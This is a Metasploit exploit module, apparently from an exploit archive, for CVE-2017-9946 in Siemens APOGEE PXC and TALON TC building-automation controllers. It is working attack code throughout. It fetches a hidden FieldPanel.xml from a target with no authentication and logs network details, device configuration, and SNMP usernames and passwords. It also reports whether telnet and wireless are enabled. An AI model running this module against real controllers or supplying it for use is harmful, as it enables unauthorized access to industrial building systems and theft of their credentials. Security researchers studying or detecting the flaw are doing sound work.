Siemens APOGEE PXC / TALON TC Authentication Bypass

`#!/usr/bin/env python3  
  
# -*- coding: utf-8 -*-  
# 2022-05-23  
  
# Standard Modules  
from metasploit import module  
  
# Extra Dependencies  
dependencies_missing = False  
try:  
import logging  
import requests  
import requests  
import xmltodict  
import xml.etree.ElementTree as ET  
import socket  
import struct  
import requests  
except ImportError:  
dependencies_missing = True  
  
  
# Metasploit Metadata  
metadata = {  
'name': 'Siemens BACnet Field Panel Path Traversal',  
'description': '''  
This module exploits a hidden directory on Siemens APOGEE PXC BACnet Automation Controllers (all versions prior to V3.5), and TALON TC BACnet Automation Controllers (all versions prior to V3.5). With a 7.5 CVSS, this exploit allows for an attacker to perform an authentication bypass using an alternate path or channel to enumerate hidden directories in the web server.  
''',  
'authors': [  
'RoseSecurity',   
],  
'date': '2022-05-23',  
'license': 'MSF_LICENSE',  
'references': [  
{'type': 'url', 'ref': 'https://sid.siemens.com/v/u/A6V10304985'},  
{'type': 'cve', 'ref': 'https://nvd.nist.gov/vuln/detail/CVE-2017-9946'},  
],  
'type': 'single_scanner',  
'options': {  
'rhost': {'type': 'string', 'description': 'Target address', 'required': True, 'default': None},  
}  
}  
  
def run(args):  
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))  
if dependencies_missing:  
logging.error('Module dependency (requests) is missing, cannot continue')  
return  
  
try:  
# Download Hidden XML File  
r = requests.get('http://{}/{}'.format(args['rhost'], '/FieldPanel.xml'), verify=False)  
  
# Convert to Readable Format  
xml_doc = r.content  
root = ET.fromstring(xml_doc)  
  
# Parse XML for Sensitive Data  
module.log("Remote Site ID: " + root[18].text)  
module.log("Building Level Network Name: " + root[26].text)  
module.log("Site Name: " + root[27].text)  
module.log("Hostname: " + root[28].text)  
ip_addr = int(root[30].text, 16)  
module.log("IP Address: " + socket.inet_ntoa(struct.pack(">L", ip_addr)))  
gw_addr = int(root[32].text, 16)  
gw_addr = str(socket.inet_ntoa(struct.pack(">L", gw_addr)))  
module.log("Gateway IP Address: " + gw_addr[::-1])  
module.log("Maximum Transmission Size: " + root[57].text)  
module.log("BACnet Device Name: " + root[60].text)  
module.log("BACnet UDP Port: " + root[62].text)  
module.log("Device Location: " + root[63].text)  
module.log("Device Description: " + root[64].text)  
module.log("Device Barcode: " + root[88].text)  
module.log("Device Revision String: " + root[104].text)  
module.log("Device Firmware: " + root[105].text)  
module.log("Panel Key Name: " + root[109].text)  
module.log("SNMP Username: " + root[148].text)  
module.log("SNMP Private Password: " + root[149].text)  
module.log("SNMP Authorization Password: " + root[150].text)  
  
# Determine Running Services  
if int(root[48].text) == 1:  
module.log("Telnet Enabled")  
else:  
module.log("Telnet Disabled")  
  
if int(root[84].text) == 1:  
module.log("Wireless Enabled")  
else:  
module.log("Wireless Disabled")  
  
if int(root[103].text) == 3:  
module.log("Webserver Enabled")  
else:  
module.log("Webserver Disabled")  
  
except requests.exceptions.RequestException as e:  
logging.error('{}'.format(e))  
return  
  
  
  
  
if __name__ == '__main__':  
module.run(metadata, run)  
  
  
`